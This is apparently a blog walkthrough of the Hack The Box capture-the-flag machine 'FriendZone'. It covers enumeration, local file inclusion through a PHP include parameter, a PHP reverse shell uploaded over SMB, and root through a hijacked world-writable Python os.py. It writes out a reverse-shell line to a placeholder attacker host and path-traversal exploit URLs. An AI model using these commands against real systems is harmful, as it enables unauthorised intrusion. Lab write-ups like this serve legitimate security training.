/var/log $ cat "Hack The Box - FriendZone Walkthrough"
2019-07-13 | hackthebox ctf
Machine Info

Inital Recon
|
|
In summary the box runs the following services of interest:
- FTP
- SSH
- DNS
- SMB
- Webserver HTTP+HTTPS whereas the SSL certificate hints to a possible vHost called
friendzone.red
Inital Enumeration
FTP Enumeration
Anonymous login is not allowed and googling for possible vulnerabilities finds nothing for vsftpd 3.0.3.
On to the next one…
HTTP and HTTPS Enumeration
HTTP
Browsing to the IP or friendzone.red after adding it to /etc/hosts we see:

From the email we get an other possible vHost named friendzoneportal.red.
Bruteforcing files and directory reveals a robots.txt file which only contains “seriously ?!” and a sub-directory named /wordpress which does have directory listing enabled and is empty.
And that’s about it. Next!
HTTPS
While browsing to the IP 404s, going to https://friendzone.red we get:

Having a look at the source code of the site we find a comment which hints to sub-dir named /js/js:

Browsing to /js/js (/js also has directory listing enabled and only contains the dir js)

Using hash-identifier on the obscure string (“QzVhTXVRYVlNWTE1NjI3ODYzODFKUHgwWFBGNndo”) it identifies it as possible SHA-1 hash. But looking it up on CrackStation we don’t get a result. Having a look into the source of the website we find a comment at the end which hints that this is a dead end:

Doing also a gobuster run for files and directories we only find one sub-dir /admin which is empty.
Next!
friendzoneportal.red
From the HTTP site we know the possible vHost friendzoneportal.red. After adding it to /etc/hosts we check if there’s anything. On HTTP we are presented with a site which looks the same as friendzone.red resp. when browsing directly to the IP:

Using gobuster we find the exact same robots.txt and empty /wordpress directory, so we can assume http://friendzone.red and http://friendzoneportal.red are pointing to the same htdocs.
Browsing to the URL using HTTPS we see:

Again using gobuster we just find the page (index.php) that we see. Also the source shows nothing of interest.
Next!
SMB Enumeration
Using smbclient to list available shares on the box we find three and an interesting comment for the share Files:

/Files is not accessible without proper credentials and /Development is empty. But in /general we find a file named creds.txt:

Downloading creds.txt to our machine we find some credentials for a “admin THING”:
|
|
Finally something, but still… Next!
DNS Enumeration
As the box is running DNS we try to perform a DNS zone transfer to see if we find more domain names/vHosts:

As the zone transfer is allowed we now have a list of more sub-domains to enumerate:
|
|
Instead of checking all possible http/https URLs by hand we save them to a text file and use a little BASH script which facilitates curl to do that for us:
|
|

Now we have some more domains/URLs to enumerate:
|
|
Again: Next!
HTTP/HTTPS Enumeration Round 2
administrator1.friendzone.red
Accessing https://administrator1.friendzone.red we are presented with a login form:

Using the creds we found earlier (admin:WORKWORKHhallelujah@#) we can login and are told to go to /dashboard.php:

And this is what we get when we go there:

OK, let’s access it with the suggestet paramters:

Using gobuster we can find three files: login.php and dashboard.php which we alredy know and a new one named timestamp.php. Also there’s a sub-dir /images which contains a.jpg (the “Ha Ha!” image) and b.jpg. When we modify the image_id parameter and set it to b.jpg the page looks like this:

If we modify the paramter to what.ever we can find <img src='images/what.ever'> in the HTML source. We can assume the underlying PHP code looks like image = $_GET['image_id']; echo "<img src='images/$image']"; and will be therefore of no use to get inside the box.
Leaves the pagename parameter as a possibility to exploit. When we access timestamp.php directly we get something which looks exactly like the bottom of the page of dashboard.php when pagename=timestamp (except of a diffrent time of course):

What if the pagename parameter controls what get’s included in dashboard.php except of the .php filename end? So let’s see what happens if we access https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=dashboard:

And we do have RCE/LFI here. Next up we need to find a way to execute our own code.
uploads.friendzone.red
Using gobuster on https://uploads.friendzone.redwe find:
|
|
Going there we are presented with a upload form:

Playing around with the form it doesn’t seem that there are any restrictions on what to upload. We get a success massage no matter what we upload:

But after the successful upload our files are nowhere to be found, neither in /files which would be the obvious choice or /. Also combining the search for the uploaded file with the timestamp we get in the success message doesn’t help. So either the files are stored somewhere else or with a logic we don’t understand. Also accessing upload.php doesn’t give us any clues:

Own User
Making Use of RCE/LFI
As we cannot access our uploaded files let’s see what elese the vulnarability can reveal. First we get the code of dashbaord.php using a PHP filter trick to convert it to base64 using the URL https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/convert.base64-encode/resource=dashboard. After decoding the base64 string we have the source code:
|
|
As we can see from the code the image_id parameter is useless but pagename is directly used within an include() (include($_GET["pagename"].".php");) thus giving us RCE.
Assuming that all sub-domains share the same root directory (something like /var/www/html where administrator1.friendzone.red would be stored in /var/www/html/administrator1and uploads.friendzone.red in /var/www/html/uploads) we can try to facilitate directory traversal and the PHP filter trick to retrive the source code of https://uploads.friendzone.red/upload.php so see where files are uploaded to. By accessing the URL https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=php://filter/convert.base64-encode/resource=../uploads/upload and decoding the base64 string we get the source code of uploads.php:
|
|
As we can see the from the code nothing is uploaded at all. That’s the reason why we couldn’t find the files we tried to upload. We need to find an other way to upload our arbitrary code.
Getting a Reverse Shell and the User Flag
Going back to SMB enumeration we remeber this one comment for the share Files:
|
|
Based on that comment we can assume that files in Files are located in /etc/Files. If the other shares follow the same logic general might be found in /etc/general and Development in /etc/Development. From the three shares we only have write access on Development. So let’s give that one a try.
Since we’re dealing with PHP we use the most famous pentestmonkey’s php-reverse-shell and upload it as shell.php to Development using smblcient. Starting a netcat listener and playing with the path traversal we get the script to execute by accessing https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=../../../../../../etc/Development/shell which gives us a reverse shell and the user flag:

Own root
Finding a Privilege Escalation Method
Monitoring processes with pspy after downloading it from out attacker machine in our low-priv shell (both wget and curlare present on the box) we find /opt/server_admin/reporter.py is getting execute as root every 2 minutes. The obvious first thought is to modify it so that we can become root. But we don’t have write access. Also a look into the code does not show a direct way to exploit it:
|
|
Going through Linux privesc enumeration we find that /usr/lib/python2.7 beeing world-writable. As we know from the script, os is imported. So we can hijacking the library to become root when the script is executed.
Root Shell and Flag
We have quite a lot of options for the privesc part since we could pretty much do everthing through Python. I opted for an OpenSSL reverse shell. First we create the necessary certificates with openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes and start an OpenSSL server with openssl s_server -quiet -key key.pem -cert cert.pem -port ATTACKER-PORT (don’t forget to set a port).
On the box we add system("mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER-IP:ATTACKER-PORT > /tmp/s; rm /tmp/s") (replacing ATTACKER-IP and ATTACKER-PORT of course) to the end of /usr/lib/python2.7/os.py. Now we wait for our root shell and grab the flag:
